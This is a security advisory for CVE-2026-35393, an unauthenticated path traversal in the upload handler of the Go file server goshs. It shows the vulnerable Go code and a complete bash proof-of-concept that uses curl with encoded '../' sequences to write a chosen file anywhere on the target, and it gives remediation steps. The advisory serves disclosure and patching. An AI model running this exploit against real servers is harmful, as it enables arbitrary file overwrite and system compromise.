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CVE-2026-35393 — Vulnerability in github.com/patrickhener/goshs —...

CRITICAL

goshs: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in goshs POST multipart upload

Published April 3, 2026Updated June 25, 2026Source: osv

Summary

### Summary * POST multipart upload directory not sanitized | `httpserver/updown.go:71-174` This finding affect the default configuration, no flags or authentication required. ### Details **File:** `httpserver/updown.go:71-174` **Trigger:** `POST /<path>/upload` (server.go:49-51 checks `HasSuffix(r.URL.Path, "/upload")`) The filename is sanitized (slashes stripped, line 105-106), but the target directory comes from `req.URL.Path` unsanitized: ```go upath := req.URL.Path // unsanitized targetpath := strings.Split(upath, "/") targetpath = targetpath[:len(targetpath)-1] // strips trailing "upload" target := strings.Join(targetpath, "/") filenameSlice := strings.Split(part.FileName(), "/") filenameClean := filenameSlice[len(filenameSlice)-1] // filename sanitized finalPath := fmt.Sprintf("%s%s/%s", fs.UploadFolder, target, filenameClean) ``` The route requires the URL to end with `/upload`. An attacker uses a path like `/../../target_dir/upload`, the suffix satisfies routing, and the `../..` escapes the webroot. The filename on disk is controlled by the attacker via the multipart `filename` field (after basename extraction). **Impact:** Unauthenticated arbitrary file write to any existing directory on the filesystem. **PoCs:** ```bash #!/usr/bin/env bash # # Example: # ./arbitrary_overwrite2.sh 10.0.0.5 8080 set -euo pipefail HOST="${1:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}" PORT="${2:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}" LOCAL_FILE="${3:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}" TARGET="${4:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}" if [ ! -f "$LOCAL_FILE" ]; then echo "[-] Local file not found: $LOCAL_FILE" exit 1 fi # Split target into directory and filename. # The server builds: finalPath = UploadFolder + <dir from URL> + "/" + <upload filename> # So we put the target's dirname in the URL and the target's basename as the upload filename. TARGET_DIR=$(dirname "$TARGET") TARGET_NAME=$(basename "$TARGET") # 16 levels of %2e%2e/ (URL-encoded "..") to reach filesystem root. # Encoding is required so curl does not resolve the traversal client-side. TRAVERSAL="" for _ in $(seq 1 16); do TRAVERSAL="${TRAVERSAL}%2e%2e/" done # Strip leading / and build path ending with /upload TARGET_REL="${TARGET_DIR#/}" POST_PATH="/${TRAVERSAL}${TARGET_REL}/upload" echo "[*] Source: ${LOCAL_FILE}" echo "[*] Target: ${TARGET}" echo "[*] POST: ${POST_PATH}" echo "" HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \ --path-as-is \ -X POST \ -F "file=@${LOCAL_FILE};filename=${TARGET_NAME}" \ "http://${HOST}:${PORT}${POST_PATH}") echo "[*] HTTP ${HTTP_CODE}" echo "[*] File should now exist at ${TARGET} on the target." ``` To execute it: `./arbitrary_overwrite2.sh 10.1.2.2 8000 ./canary /tmp/can` --- ## Recommendations Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method `return` is called after every error response.

Advisory Timeline

  • First published April 3, 2026 (192 days ago).
  • Last revised June 25, 2026 — 84 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Go
Update github.com/patrickhener/goshs to 1.1.5-0.20260401172448-237f3af891a9 or later
go get github.com/patrickhener/goshs@v1.1.5-0.20260401172448-237f3af891a9

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: go (1).

PackageEcosystemAffectedFixed In
github.com/patrickhener/goshs
go
All versions1.1.5-0.20260401172448-237f3af891a9

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-35393?
goshs: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in goshs POST multipart upload This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.8/10).
How do I check if my project is affected by CVE-2026-35393?
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Severity & Exploitability

CVSS Score
9.8

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-jg56-wf8x-qrv5
GO-2026-5468

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